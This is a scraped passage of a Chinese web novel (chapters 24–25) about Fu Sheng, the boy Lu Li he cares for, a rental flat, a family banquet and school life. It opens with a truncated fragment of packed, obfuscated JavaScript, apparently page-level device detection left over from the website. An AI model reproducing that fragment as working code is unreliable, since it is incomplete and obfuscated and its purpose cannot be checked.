d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆离抿唇,没喊出那个哥,他憋了半晌才开口:“你上次说要交底,我的秘密你现在全部知道了,那你呢?” 从第一次傅生见他,眼神就全然不像是看陌生人。 他的眼睛极轻地眨了一下:“你是不是早就认识我?” 或者,不仅是认识。 还有什么更深的牵连 陆离看着傅生,执拗的想知道一个答案。 傅生看着那双眼睛叹了一口气。 小孩子过分聪明了也不好。 24-30 第0024章 第 24 章 ◎我长大之前,你可不可以不要喜欢别人?◎ “真的想知道?”傅生问。 陆离点了点头。 傅生叹息了一声:“再等等, 等时机到了,我就告诉你。” 陆离问他:“时机到了,那是什么时候?” “等你不再需要我的时候, ”傅生开口, 又在心底补充了一句。 还有, 等你不会再成为我的时候。 * 松里的房子因为没有人住, 钱阿姨打电话来说可以帮忙租出去。 陆离学习紧没空, 所以这些都由傅生负责。 “不用了钱阿姨,”傅生说,“在那里空着吧。” 钱阿姨说:“空着也是空着,咱们松里虽然是破了点,不过来往的人还是很多的, 昨天的时候,一个小姑娘还来这边打听这个房子。” 人上了年纪, 说话就絮叨, 她在电话里说:“小姑娘年龄不大,看着真苦,一个人来北川打拼, 周边的环境价钱又贵, 哎, 这要是我女儿真的得心疼死。” 陆离对这个房子没有任何留恋,所以租不租都行, 傅生也不在乎对他来说约等于无的钱, 最主要的是嫌麻烦。 “帮我回绝了吧,”傅生说, “辛苦您了。” 话都说到这个份上了, 钱阿姨也不劝了:“小傅啊, 你明天还是得再来一趟,房子不住,得去这边社区签个字。本来必须要求本人的,阿姨知道小陆学习忙,所以你自己来就可以了。” “行,”傅生说,“我一会儿就过去。” “好,”钱阿姨顿了一下,又开口说,“小傅啊,你租着我楼上的房子,但是又不来住,这不是白花钱吗?阿姨都有点不好意思了。” 她之前的房子,因为赵国强的原因,一直租不出去,在松里住的人,家庭条件都算不上很好,她家也是。 老头一直卧病在床,家里还有小孙子上学。儿子儿媳妇在菜市场靠杀鱼为生,一家人花销经常入不敷出。 傅生租下房子的时候,她还想着一定租不长,现在几个月过去了。 傅生笑了一下:“没有空着,我偶尔也会过去。” 钱阿姨啊了一声:“你来这里干什么?” 傅生笑了一下:“度假?” 他听着钱阿姨那边沉默了好一会,可能被他奇特的爱好震惊到了,“开玩笑的,房子的事你不用担心,你也不用多想。” “哎,”钱阿姨活这么大岁数,哪里还看不出傅生是在帮他,“谢谢你啊小傅。等有空带着陆离一起来阿姨家吃饭。尝尝阿姨最拿手的瓦罐鸡。” “行,”傅生弯着眼睛说,“那提前谢谢您的招待了。” 挂了电话之后,傅生没动,看着地上的光影开始愣神。 他十岁的时候,刚搬到松里。 那时候赵国强已经染上了赌瘾,经常酗酒,喝了酒就打人,苏梅当时不觉得是自己选错了人,只是觉得是陆离将他拖累了。 她将陆离关在门外,不让他进去,陆离当时年龄小,不知道苏梅为什么生气,觉得肯定是自己做错了什么。 他从小就闷,只是用小小的双手扒着门框,也不说话。 苏梅生气一天,他就在外面坐一天,苏梅生气两天,他就两天不进门。 有时候饿得实在是撑不住了,就接水管里的自来水喝。 “你不是楼下那位?” 有一次喝水的时候,刚好遇到钱阿姨下楼,他没说话,只是睁着乌黑的眼睛看着人。 “怎么不进屋?” “……” “你爸妈又吵架了?” “……” 钱阿姨看着攥着拳头的小孩,哎哟了一声,“这小孩真没有礼貌。” 说着她就下了楼。 他就坐在楼梯上,继续等着苏梅给他开门。没想到,也就半个小时,钱阿姨又拐了回来。 “我从昨天就看见你坐在这里,”钱阿姨说,“不饿啊?我今天做饭刚好做多了,我想着倒掉也是浪费,你给我吃了吧,省得我还得下楼。” 那双布满老茧的手伸过来,手里拿了一个碗。 他看了过去,里面盛了一个鸡腿。 “老板?傅生?” 蒋文看着傅生在沙发上走神,悄悄凑了过去。 他喊了两声没有人回答,于是眼睛转了一下:“叫爸爸。” 傅生目光移到了蒋文脸上:“这个月奖金,没了。” 说完就起身出了门。 蒋文的表情禁锢了一下,接着欲哭无泪地追了出去 他欲哭无泪地跟了出去:“老板,我错了,原谅我这一次行不行,老板?” “爸爸!” 傅生听到回头看他一眼,挑了一下眉。 蒋文抓紧说:“我明天出门再找个妈,爸爸你看行吗?” “找个妈?”傅生看着他。 蒋文一看有戏,抓紧说:“给你介绍个美女,你喜欢哪样的,我都能给你找得到。” 傅生还没说话,一道冷冷的嗓音打断了他:“你们在谈什么?” 陆离斜挎着书包,脸冷得给冰一样。 蒋文看着陆离说:“正商量给你找个嫂子呢,你看你哥这么大人了。” 陆离冷冰冰的眼睛又望向傅生:“这是你的想法?” 傅生轻笑了一声:“今天怎么回来这么早?下午没课了?” “嗯,”陆离垂下眼眸说,“下午学校里有考试。” “那刚好,”傅生说,“回房间把书包放下,下午跟着我回一趟松里。” “松里?” “那边需要签个字,我想你既然没事了,还是你签比较好。” 陆离点了点头:“那我先把校服换下来。” 傅生:“去吧,我在门口等你。” 蒋文站在那里,对着傅生说:“那下午店里岂不是又只剩下我一个人了?我看也没人,不如现在就出去给你找个美——” 话还没有说完,蒋文就被陆离撞了一下,这小子从他旁边冷冰冰地走过去,差点给他撞倒了。 蒋文扶了扶歪了的眼镜:“臭小子,这么宽的路你非上我这里走是吧?” 陆离头也没回,也不理他。 蒋文转身对着傅生告状:“你管不管?这个小鬼简直是越来越无法无天了。” 傅生看了他一眼:“你下次靠边站。” “???” 这是靠边站的问题吗? 蒋文说:“行行行,这个家就我是外人是吧,你就宠他吧。” 陆离换了件黑色的连帽卫衣。 他出门的时候,喜欢戴上帽子,把自己闷起来。 傅生侧头看了他一眼,“谁又惹到你了?怎么又成小哑巴了。” “没有。”陆离说,说着,他又用一种凉调的嗓音说,“没有人惹到我,我也不是小哑巴。” 傅生笑了一下。 也是,小哑巴不会说这么少的话,多少还能比划比划。但是陆离,除了和他待着的时候,能勉强撬开点口,其他时间甚至可以一句话不说。 两个人到了松里的巷子里,离得很远,就看到一个姑娘和一个男人起了争执。 姑娘看着不大,也就刚二十岁,急得都想要哭出来了:“我真的没拿里面的钱,我捡到的时候就是这些。” 男人不依不饶地抓着她的胳膊:“你没拿,没拿我的钱怎么少了?这里有没有其他人,你一个小姑娘怎么年纪轻轻的,干这些偷鸡摸狗的事。” 小姑娘估计是刚出社会,被男人说得面红耳赤,只能哭着辩解:“不是我,真的不是我。” 这种低端套路,傅生嘲笑了一下,原本不想理会的,但从刚才的时候就一直冷着脸的小孩却先他一步已经跑了过去。 “松开。”陆离看着男人说。 男人凶神恶煞:“哪里蹦出来的野孩子,我劝你别多管闲事。” 陆离眼睛都没有眨一下,又重复了一遍:“松开。” 男人脸上瞬间充满的戾气:“他妈的你——” 傅生无奈地叹了一口气,认命一般地走了过去。 这个喜欢多管闲事的毛病究竟是跟着谁学的? “这位,骂人有点不对吧。”傅生将黑色外套上的袖子向上挽了一节。 男人看了他了一眼:“你他妈的又是哪里窜出来的狗日——”话还没有说完,他直接趴在地上,甚至都来不及反应。 “嘴巴放干净点。”那个看上去很冷的小孩说。 年龄不大,下手真他妈的狠。 地上的男人瞬间觉得自己的肋骨要断了,他躺在床上哀嚎了两声。 傅生看了陆离一眼,好脾气地呵斥:“别动手。下次记得先讲道理。” 地上的男人:“?” 他踏马的都躺地上了你才说。 傅生的目光又转到他身上:“怎么样,能起来吗?” 那个男人不敢像刚才那么造次,自己在地上爬起来,梗着脖子说:“我的钱被这个女人偷了,我还不能要回来?” 小姑娘眼睛里含着泪拼命地解释:“我没有。” 傅生看着男人手上拿着的一沓钱:“就是这个?” “对,”男人十分嚣张地说,“少了一千。” 傅生点了下头,看向小姑娘:“你捡到这些钱?” “嗯,”小姑娘拼命地点头,“我捡到的时候就是三千,我怕被别人捡走了,一直在这里等着。” “把钱给我,”傅生看着男人,很有礼貌地说。 男人皱着眉:“我的钱凭什么给你。” 陆离向前一步,冷冰冰地说:“给他。” 男人下意识地抱了一下头,在一旁避开陆离,将钱递给傅生:“不信你数数,就是少一千。” “不用数,”傅生笑着递给小姑娘。 男人哎了一声,向前准备抢钱:“我的钱你给他干什么?” 陆离斜瞥了他一眼。 男人:“……” 小姑娘迷茫地看着傅生说:“这——” “既然这些钱少了一千,”傅生说,“数目对不上,说明不是他的,报警吧。” 小姑娘瞬间恍然大悟:“是啊。”她接过钱,准备去附近的派出所。 男人见此,再也顾不上其他的了,哀嚎起来:“就是我的钱,就是我的。” 傅生看向他:“你不是说少了一千吗?” “没少,”男人说,“真的没少,就是我丢在这里的,求求你们把钱给我吧。” 傅生:“现在承认了?” “我就是看她一个人在这边,觉得一个小姑娘肯定好骗。”男人说,“我错了,我真的错了。” 小姑娘有想过是在她看到之前被别人拿走了,却怎么也没有想到这个人竟然是故意骗他的。 初入社会,她有点接受不了这种坏人这么多的落差。 她走过去重重地把钱丢在男人身上,又重重地骂了一句:“骗子。” 男人说:“我这也是迫不得已,家里孩子要上学了,我没办法了。” 真不真话不知道。 傅生不在乎,也不想管。 他转身对着陆离说:“走了。” 他自己本身也不是多高尚的人,管不到别人。 走出去这段路,两个人拐弯进了一个巷子,巷子里很窄,周围是石头堆出来的房子。 两个人并排走,堪堪能走过去。 傅生看向陆离,很好奇他是怎么认出来那个人是骗子的,毕竟现在不比十年后。 陆离看了他一眼,目光很是复杂,愣了半晌才开口:“偷钱的人只偷了10张,还专门等着人来抓。” 这不是傻子。 傅生笑了:“看来以后不用担心出门被骗了。” 陆离无语,转身就走。 傅生在后面拉住他的帽子:“又不理人?以后干脆改名叫河豚怎么样?” 河豚转身,冷冰冰地瞪他一眼。 两个人到松里的时候,没想到刚才遇到的小姑娘也在。 钱阿姨说:“我真的说了,但是人家不差这点钱,所以不向外租。” “我的身份证可以压这,”小姑娘说,“我真的没地方住了阿姨,你可不可以帮我打听一下其他的地方。” 陆离走过去:“钱姨。” 钱阿姨听到动静抬头,见两个人露出笑脸:“是小傅啊,小陆也来了。” 小姑娘也看到了两个人:“是你们。” 钱阿姨惊讶地说:“哎?你们认识?” 傅生说:“刚才见过。” “这个就是我给你说的想要租房子的小姑娘,”钱阿姨随口提了一句,推了推鼻子上架的老化眼镜,“走,我领着你们去社区那边。” 陆离突然开口:“不用了。” 钱阿姨疑惑地看向他:“怎么了?” 陆离说:“房子租出去吧。闲着也是闲着。” 小姑娘惊喜地看向他:“真的吗?” 陆离:“嗯。” 傅生看着陆离冷冰冰的侧脸,笑了一下,对于这个结果毫不意外。 这个小闷葫芦虽然话不多,平时也总是冷冰冰的,但是心肠似乎比谁都软。 “那真是太好了,”钱阿姨看向小姑娘,“这下你有房子住了。” 小姑娘看着陆离,激动得都快要哭了:“太谢谢你了,我还以为我要流落街头了。那——房租。” 陆离冷淡地说:“按照周围房子的价格就行。” 小姑娘:“呜呜呜呜呜谢谢谢谢。” 陆离抿了一下唇,不适应这样被人感谢,看向傅生。 傅生逗人说:“小姑娘谢谢你呢。不说两句。” 陆离:“……” 他能不能把这人嘴堵上。 傅生怕再逗几句炸毛,走过去对着钱阿姨说:“既然陆离决定了,那就走手续吧。” 他看向这位小姑娘:“还需要准备什么吗?” “不用,”小姑娘快速地说,“身份证和复印件我都准备好了。” 傅生笑了一下,低头看着小姑娘的身份证。 高玲玲,南宁市保家镇人。 他看着人,愣了一下。 合同签得很顺利,回去的时候,陆离说:“你当时怎么了?” 傅生疑惑地嗯了一声,侧首看着陆离皱着眉看他。他这才反应过来指的是他签合同之前走了会神。 “哦,”傅生说,“想起来一些旧人旧事,没什么。” 若是放在以前,陆离嗯一声就不会再问了,但是这次他看着人,继续说:“有多旧?” 傅生没什么情绪地说:“十年前的事了。” * 高玲玲看着自己收拾好的房子,长长地呼出去一口气。 房子里倒是不太脏,就是酒气有些大,她将窗户都打开,散了散空气中的味道。 坐在沙发上休息的时候,不知不觉地竟然就睡了过去。 梦里有一座跨江大桥,高玲玲站在桥上,手里抱着一个几岁大的孩子。 梦里的她似乎比现在年龄更大一些,眼下已经有了细纹,看着三十多。 她应该是遇到了什么事情,在桥边站了很久,从桥上要跳下去的时候,男人的声音在身后响起。 “跳下去可就什么都没有了。” 高玲玲转身,一个高挑俊美的男人站在桥边,没有看她,只是垂着眸子看着江面。 高玲玲听着自己说:“我本来就什么也没有。” 她看了一眼怀中的孩子。 孩子尚在襁褓中,并知道周围发生了什么,手指咬在嘴里咿呀学语。 男人眼睛望过来,目光落在孩子身上,很高冷地在孩子身上逗了一下。 高玲玲原本以为他会说,为了孩子也要活下去。 “随便,”他说,“反正世界每天这么多死亡的人。” 说完,转身就走。 高玲玲愣住了,再低头的时候,怀中的婴儿身上有一沓厚厚的钞票。 她猛然看向前边的人,那个人脚步没停,背对着他说:“若是想跳下去,现在就可以,若是想活下去,这些钱就当是我借给你的。” 高玲玲眼睛中的泪接着就掉下来,她蹲下身子,哭得格外大声,似乎想把这些日子的崩溃都哭出来。 怀中的婴儿看向她,用含糊不清的声音喊了一声妈妈。 高玲玲将婴儿抱在怀里,埋头哭了好久,再抬头的时候,她一把手擦了擦脸上的泪,沙哑地说:“宝宝,我们回家。” 呼—— 窗户没关,冷风在窗户里吹进来,高玲玲一下子就行了,她下意识的摸了摸脸上,摸到了一把泪。 做个梦把自己做哭了。 也是没谁了。 高玲玲起身,突然想了想梦里男人的模样,愣了一下,那模样不就是今天见到的长大版的陆离。 但是奇怪的是,模样确实像陆离,但是气质更像另一个男人。 叫什么来着,哦,傅生。 * 十年前。 陆离算了算自己十年前多少岁。 五岁。 傅生比他大五岁。 陆离没说话,也没有再问,因为直觉他就算是再问,傅生也不会说什么。 “你们两个回来了?”蒋文站在门口,看向傅生说,“老爷子又来了,说是明天有个家宴,你回去一趟。” 傅生:“家宴?” “昂,”蒋文说,“老爷子等了你一会,见你一直不回来,就先回去,你要不要回去?我看老爷子的意思,你不回去估计还得再来叫你。” 傅生对于这种家宴没有什么兴趣,和一群陌生人吃饭也没有兴趣。 蒋文试探地说:“那我帮你回绝了?” “嗯,”傅生说,“就说我——”他脱口想说自己生病来着,却下意识地顿了一下,按照老爷子对于傅生的关注度,说生病了,他恨不得马上飞过来。 蒋文在旁边已经拿起了电话,却左等右等等不到傅生的后话,疑惑道:“说什么?” 傅生皱了一下眉。 一直闷着的陆离冷着声音开口;“我陪你去。” 傅生和家里的关系有点别扭,傅老爷子确实对于傅生很关心,但傅生和家里的关系却没有很亲近。 家宴正是联络感情的时候,他自己没有亲人,他却不想要傅生和他一样,也没有亲人。 傅生挑眉看向陆离,有些稀奇,他这种性格竟然主动提出来去乱腾腾的家宴。他带着笑意说:“你去装冰人?” 蒋文没忍住,扑哧一声笑了。 陆离木着脸看着他。 “不逗你了,”傅生笑了一会,转身对着蒋文说,“给老爷子回个电话吧,明天我和陆离会去一趟,你要是想去的话,就再把自己加进去。” “我就算了吧,”蒋文快速地摆手,“你们明天都不在,我不知道多逍遥呢。” 电话几乎就响了一声就接通了,老爷子的声音传了过来:“生儿怎么说的。” “傅生说明天去。”蒋文提高了声音。 老爷子激动地说了好几声好好好:“我明天让人去接他们去。” “不用,”傅生在一旁喝了口水,“和老爷子说我明天按时过去。” 老爷子听到傅生的话,过了片刻说:“好,那爷爷在家里等着你。早点过来。” 第二天。 陆离跟着傅生到的时候,老爷子已经站在门口,不知道等了多大会了。 今天的天气不好,天气阴沉沉的,像是要压下来。 陆离戴着帽子,跟在后面,老爷子和傅生说完话,又将目光移到陆离身上。 “这是小陆吧?”他开口。 陆离点了点头,抿着唇想了想,又绷着声音喊了声爷爷。 “好好,好孩子。”傅老爷子摸着他的手。 傅生没有想到陆离会喊人,讶然地挑了一下眉。 陆离注意到傅生的眼神,冷着声调:“看我干什么?” “没,”傅生说,“我在想冰人竟然会说话。” 陆离:“……” 他就知道这个人嘴里吐不出来什么好词。 “外面冷,”傅老爷子说,“走吧,先进屋。” 可能是为了照顾傅生,今天并没有来多少人,傅生眼睛在大堂里看了一圈,眼熟的也只有傅宇阳夫妻俩。 “哎哟,这不是傅生吗,”傅宇阳在旁边阴阳怪气,“这么久了,终于舍得回家一趟了?” 傅生说:“确实不如二叔您跑得勤。” 傅宇阳噎了一下,周围的人都知道,只要傅二两口子好吃懒做,只要没钱了就觍着脸为老爷子要钱。 “你——” 傅老爷子皱眉对着傅宇阳呵斥道:“傅生刚回来,你给我闭嘴。” 他转头看向傅生:“生儿,你刚恢复没多久,这里吵,你和小陆去之前的房间待一会,一会吃饭的时候喊你们。” 傅生之前的房间也在二楼,房间很大。 陆离走进去问:“这是你之前住的。” 傅生很随意地说:“不记得了。” 陆离呆了一下,脸上的那股冷劲都被冲淡了不少:“不记得?” “前几个月生病,忘了。”傅生轻飘飘地说出这句话。 陆离像是看鬼一样看着他。 他有些不明白,失去记忆这种事,傅生竟然这么不在乎。 “你那是什么眼神,”傅生笑了,眼睛很轻地垂下去,“有时候,记忆只是负累而已。” “但——”陆离说,“你就没有什么不想忘记的人吗?” 不想忘记的人。 傅生沉默了一会,再抬头的时候,半开玩笑地说:“大概有很想忘记的人。所以忘记了。” “……”陆离脸又下意识地冰下去,刚想转头眼不见为净,结果嘴边就被塞了个东西。 低头一看,那只修长好看的手指上拿着一颗糖。那颗糖大概是奶糖,被灯光一照,还没有捏着它的那只手白上几分。 陆离盯着手指,睫毛轻轻地眨了一下:“干什么?” “看你苦着一张脸,给你中和一下。”傅生说。 陆离:“” 到底是谁才需要中和的。 他很想扭头说不吃,但不知道是不是被那只手迷惑了,张开嘴吃了下去。 傅生弯着眼睛笑了下。 陆离才突然想起来问:“你是从哪里拿的?” “房间抽屉里。”傅生说。 陆离愣了几秒:“你几年没有回这里了?” “记不清了,两三年,三四年都有可能,”傅生笑着明知故问,“怎么了?” 陆离冰着一张雪白的脸看他,还隐隐带着一丝麻木。 这糖过期最起码两年了。 “不逗你了,”傅生都要笑了,“是刚才在大厅里拿的。” 陆离撩着眼皮,似乎有点想打人。 傅生笑了几声,陆离虽然看起来那颗糖吃得不情不愿,但只有他知道,小时候他最爱吃的就是甜食。 只是那点甜没有人给过他。 直到看着陆离吃完,他才移开目光落在桌子的照片上。 那是一张结婚照,男人黑色西装戴着眼镜,女人一袭白色的婚纱笑得温婉, 他走过去,刚想拿起来看看,傅老爷子的声音在身后响起:“房间里的东西一直没有收拾,你爸妈——” 傅生记得刚来的时候傅渊和沈静姝出事是因为去海上接货,古董店并不需要出海,所以只能是沈静姝家的药品。 傅生的眸子沉了下去。 又是医药。 “当时和沈家合作的是哪家?”傅生沉着声音问。 傅老爷子愣了一下,他年龄大了,思考了半晌才想起来:“好像是南宁那边的华盛医疗。” 又是华盛。 傅生捏着照片的手指紧了一下。 陆离的眸光落在傅生的手指上。 “怎么了生儿。”傅老爷子向前走了一步、 “没事,”傅生松了手指,恢复之前的样子,错开话题说,“是要吃饭了是吗。” 傅老爷子这才想起来自己上来的目的,“是啊,吃饭了,走吧咱们先下去。” 傅宇阳夫妇可能是提前被傅老爷子教育过了,一顿饭吃得都很安静,傅生也乐得自在,旁边开了红酒,傅生喝了两口,转头的时候发现陆离那一杯子竟然已经喝完了。 傅生:“……” 他伸手捏了捏自己的眉心。 这个祖宗,一个没看住,把酒当白开水喝了? “怎么样?”傅生看着人说,“有没有哪里不舒服?” 陆离看着他摇了摇头,确实没有什么不对的地方,傅生说这小鬼酒量还可以。 吃完饭之后,傅生委婉地谢绝了傅老爷子送两个人回去的要求。 他在门口打了辆车,陆离安安静静地坐在后面,和平时没有什么两样。 但是,傅生还是敏锐在他的安静下,觉察到一点不自然。 “陆离?” 陆离乌黑的眸子接着就看了过来。 傅生看了他半晌,伸出两根手指:“这是几?” 陆离的目光在傅生脸上移到了他手指上,好半晌才蹦出来个字:“二。” 回答非常正确。 但是正是因为这样,才证明问题大了。 毕竟按照陆离的脾气,问这么个弱智的问题,铁定已经转过身去不理人了。 现在,陆离那双眼睛还在一动不动地看着他,车外一闪而过的灯光映在他眼睛里,显得格外亮。 “看我做什么?”傅生笑着问。 陆离看着他说:“好看。” 傅生愣了一下,片刻他失笑,伸手将陆离的头摆正:“行了,别看我了,看前边。” 陆离在旁边安静了一会,半晌又把头转了过来。 “怎么还在看我?”傅生由着他看了一会,转过身去,却看到陆离正微微颦着眉。 他收了笑意:“怎么了?” 陆离好半晌才道:“难受。” 傅生看着他模样,估计是喝多了酒,出租车跑得又晃造成的,他让司机在前边把两个人放下来。 反正也不远了,刚好可以走着回去。 “还能走吗?”傅生问。 陆离:“能。” 傅生笑了,刚走了一步,发现陆离又不走了。 他叹了一口气,照这个速度,两个人一晚上也回不到家。 但是和一个小酒鬼讲道理是讲不通的。 傅生眼睛在周围环视了一圈,最后落在一根半米长的棍子上。 “来,”傅生走过去将棍子捡起来递到陆离手里,“牵着。” 陆离低头很是嫌弃地看了一眼:“我不用。” “不是给你用,”傅生没好气地说,“是给我用,我走不动了,你在前边牵着我。” 陆离看了看棍子,又看了看傅生,最后抓住了棍子的另一端。 陆离在前边走,傅生在后边不紧不慢地跟着。 只是刚走了几十米,陆离又停下来。 傅生刚想问问,小祖宗这是又怎么了。 却听前边的陆离沉着声开口:“傅生。” “嗯,”傅生说,“怎么了?” 陆离微低着头,看着自己的影子,好半晌才开口:“你——可不可以等我长大。” “怎么,”傅生笑了,“不等你长大,我还能把你提前卖了是怎么?” “不是,”陆离摇着头说,“不是这个。” 傅生一愣,感觉陆离今晚有点反常。 他走过去,看着陆离,放缓了声音说:“为什么这么说?” 陆离抿了一下唇,声音在夜色中压得很低。 他小声说:“我长大之前,你可不可以不要喜欢别人。” 【作者有话说】 来啦!!! 第0025章 第 25 章 ◎“这是准备反抗金主,逃跑了是吧。”◎ 傅生盯着他看了一会儿, 轻笑着开口:“这是什么道理,你是不是太霸道了点。” 陆离低着头不说话了。 他也知道这个要求似乎有点太无理了,但是他一想到傅生身边会出现另一个人, 他就难受。 可能今晚的酒一熏更加大了这种情绪。 蒋文说的帮傅生找对象这件事他一直记到现在。 他不明白这种情绪是什么, 可能是怕好不容易对自己好的一个人也会不要自己。 直到, 他感觉自己手里的棍子被人抽出去, 带着有些凉意的手牵上他的手指。 陆离有些迷茫地抬眼, 傅生牵着他的手向前走着,风吹过,将他黑色外套的衣摆掀起一角。 “小小年纪想这么多。”他的声音在夜色中显得很低很温和,陆离睫毛很小弧度地眨了一下,接着他听着傅生又说, “你长大之前,我会一直陪着你。” 傅生懂得这种患得患失的感觉。 陆离看着前方走着的人的身影, 高挑清瘦, 他走得不紧不慢,似乎触手可及。 再快点,长大就好了。 他捏着手心默默地想。 那天的事情, 后来两个人谁也没有再提。 少年在一日一日的变化中, 脸上线条中越发凌厉, 说的话也越来越简短,每天的称呼要不是傅生, 要不直接不说话。 傅生称这种变化为, 反了天了。 两年后。 傅生躺在院子里的躺椅上,看着蒋文拿着笤帚十分不情愿地打扫着房间。 “陆离呢?还没有回来?”傅生开口。 蒋文说:“谁知道那个小鬼又跑哪里去了。” 傅生斜看他一眼:“这个小鬼比你都高了。” 蒋文撇了撇嘴, “我长得也不矮了好么。我一米八。” 若不是年龄对不上, 他现在还在怀疑陆离是傅生的私生子这件事。 主要是傅生对这个小鬼简直是太好了。 谁家会对一个陌生的小鬼这么好? 两个人说着话的时候, 突然一个女人走了进来。 蒋文放下扫帚立马迎了出去:“你好,是来看古董的吗?” 非常值得可喜可贺的一点,经过傅大老板两年的努力,古董店的古董已经从刚开始的零星的几件真品变成了现在的足足有一半真品了。 女人跟着蒋文进了房间,但是眼睛却没有落在古董上。 傅生抽空看了一眼,皱了一下眉。 他起身,走到女人面前:“你好。” 结果还没有说话,女人就一下跪倒在地上了。 蒋文骂了句脏话,吓得向后缩了好几米。 傅生神态不变,将人扶起来。 女人脸上惊慌地说:“陆离呢,陆离是不是住这里,我能不能见见他,求求你让我见见他。” 蒋文皱眉:“你找陆离干什么?” 女人说:“我女儿不见了,我女儿不见了呜呜呜呜呜。” 蒋文虽然平时喜欢吐槽,但是关键时刻还是很护着陆离的。 “你女儿不见了去找警察啊,你去找陆离干什么?” “之前陆离去我那里做家教,我原本还挺喜欢这个孩子的,但是我女儿看人的神态不太对,我就把人辞了,”女人哭着说,“我女儿为了这件事给我发了很大的火,后来就不理我了,现在她不见了。” 家教。 傅生的眼睛动了一下,他没有想到陆离每天比平时晚回来那几个小时,是去外面做了家教。 “你怀疑是陆离带走了你女儿?”傅生片刻开口。 他表情没变,声音却压得有一点低,显得有些冷漠。 蒋文稀奇地看了傅生一眼。 这人平时很是随和,对谁都客客气气的,今天这是吃枪药了? “不是,我不是这个意思,”女人说,“我就是想问问他知不知我女儿去哪里了。” 蒋文冷哼一声:“我看你就是这个意思。” 傅生没说话,女人哭着哀求:“求求你了,我就见见陆离。” 傅生刚想说陆离现在不在,就见外面的那个高挑的身影进了门,房间里的阳光都晃了一下。 两年的时间,陆离独属于少年的凌厉感更足,尤其是那双黑漆漆的眼睛,仿佛天生自带生人勿近。 “陆离。”女人跌跌撞撞地走过去,抓着陆离的袖子说,“盈盈呢?你知不知盈盈去哪了?” 陆离小幅度地皱了一下眉:“王盈盈?” “嗯,你知不知道她去哪里了?” “不知道。” “你怎么可能不知道,”女人的情绪更激动了,“她去哪里肯定告诉你了,你肯定知道。” 陆离眼神看着女人抓着自己的手指,眉心皱得更深了,“她没来找过我。” 女人的手指渐渐地划了下去,可能触及女人失望的眼神,陆离的唇抿了一下,又补充了一句:“她要是找我,我会联系你。” 女人失魂落魄的点了点头,然后走出了门。 直到看不见人影,傅生将目光落在陆离身上。 陆离默然了几秒,没忍住:“我身上长钱了?” 傅生笑了一下:“没有,就是有点稀奇。” “稀奇什么?” “稀奇你一天到晚闷着不说话,竟然跑去给小鬼做家教。” “” “偷偷摸摸的,还挺可爱。”傅生开口。 陆离给人偷偷做家教的事,就这么被捅出来了。 他脸色越发瘫。 甚至还考虑了一下杀人封口的可行性。 傅生欣赏了会少年冷脸,决定不逗他了:“什么时候去的王盈盈家?” 陆离说:“两个星期前。” 其实他就做了两天,就被王盈盈的妈妈给撵出来了。 原因是,王盈盈的妈妈说她女儿的心思都在他脸上了,没心思学习。 傅生听完陆离冷冰冰的脸讲出这么好笑的话,脸上的笑意越来越大。 陆离木着脸,面无表情地看着他。 傅生手捏着他的脸左右看了看,得出评价:“确实好看,也不怪女孩的妈妈。” 冰凉的手指的触感放在脸上,陆离睫毛小幅度的动了一下。 片刻,他有些别扭地说:“捏你自己的。” 傅生看着陆离,有一刻晃神。 心说我这也是在捏自己。 “你俩行了哈。” 蒋文作为一个颜值还行,但是遇到这两个人之后,就再也没有人夸过他帅的小可怜在旁边看得受不了了。 蒋文气鼓鼓的出了门。 待着这里,还不如去外面扫地,最起码落得清净。 房间里没有这个捧眼,很快就安静下来。 傅生以前只需要垂一下眸子就能看清陆离的表情,现在两个人站在一起身高已经相差无几。 他平视着看了须臾,开口问:“怎么想着去做家教了。” 陆离手指捏了一下。 他不擅长说谎,尤其是对傅生,最后干巴巴地冒出两个字:“闲的。” 傅生无声地笑了一下:“造反了?” 陆离看他一眼。 意思很明显:造反怎么了? 然后头也不回转身上了楼。 傅生看着那高挑的背影,叹息似的说:“果然没心肝。” 陆离之前的成绩就不算很差,现在成绩更是直追年级第一。 刚开始还有人说他作弊。 一个人的成绩怎么会升得这么快,但是一次是抄的,两次呢,三次呢。 若是次次都能抄到年级第一,也可以说是一种本事。 陆离对于这些却从来不会辩解。 “最近这几天,这大佬怎么一直睡觉啊?” 身后的同学看着陆离又趴在桌子上,侧着压在胳膊底下。 “谁知道干什么去了。” “别蛐蛐了,一会把人蛐蛐醒了。” “是啊,不聊他了,你们听说了吗,最近咱们学校要在市里调来一个老师。” “什么老师?多大?” “据说还挺年轻的,也就三十多岁吧。” 几个人正聊得火热,门口倏然有个其他班的学生站在门口喊道:“你们班的陆离,有人找。” 陆离趴在桌子上没动。 那个人壮着胆子又喊了一遍:“陆、陆离。” 陆离皱着眉起身。 门口的人小声地将自己刚才的话补上:“学校门口有人找你。” 两年前的时候,确实有很多人在门口找他,当然大部分人都是想找他打架。这两年,却很少有人来触这个霉头了,一个原因是陆离下手狠,另一个原因就是当时王律的事。 陆离眼神冰冷,眉眼之间有些不耐:“谁。” 那个人咽了咽口水:“一个女生,不认识。” 这话一出,班上的女同学的目光都朝着门口的人看了过去。 “女生?” “还是校外的。女朋友?” 周围人交头接耳。 陆离趴下去想要接着睡,却倏然想起来什么,他走到门口问:“哪个门?” 陆离过去之后,果然看到一个穿着粉色衣服的小姑娘站在门口,正是之前的王盈盈。 王盈盈看见陆离出来,眸子亮了一下:“陆离。” 陆离嗯了一声,等着她说后话。 王盈盈激动地想要把这个好消息分享给陆离,她说:“我现在找到学校上了。我闺蜜家里介绍我去的。” “之前不是说的要考这个学校?”陆离问。 王盈盈看了一眼他们学校门口的招牌,明晃晃的几个大字让她低下头:“我的成绩根本考不上你们学校,我妈只会拼命地怪我成绩差,怪我不努力,一点都不懂我的感受。” 陆离看着眼前的小姑娘,问:“你现在在哪?” “在我朋友家。”王盈盈说,“我很快就可以去上学了,我来这里就是想要告诉你这个好消息。” 陆离向来不是什么太热烈的性格,他认真地听着王盈盈说完,转身离开的时候,又想想了添了一句:回家给你—— 他顿了一下,才把话接上,“你妈妈说一声。” 小姑娘说:“我不想搭理她。她总是下意识地否定我。” 陆离没再说话,只是稍微地走了一下神。 很奇怪,他没有想到苏梅,而是想到了傅生。 王盈盈见陆离一直没说话,以为他生气了:“等我在新学校安定好了之后,会告诉她一声的。” 陆离点了点头,又添了一句: “打听清楚再去。” 王盈盈点了点头,看着陆离转身,高挑的身影很快就消失在林荫路上。 陆离放学之后直接回了家。 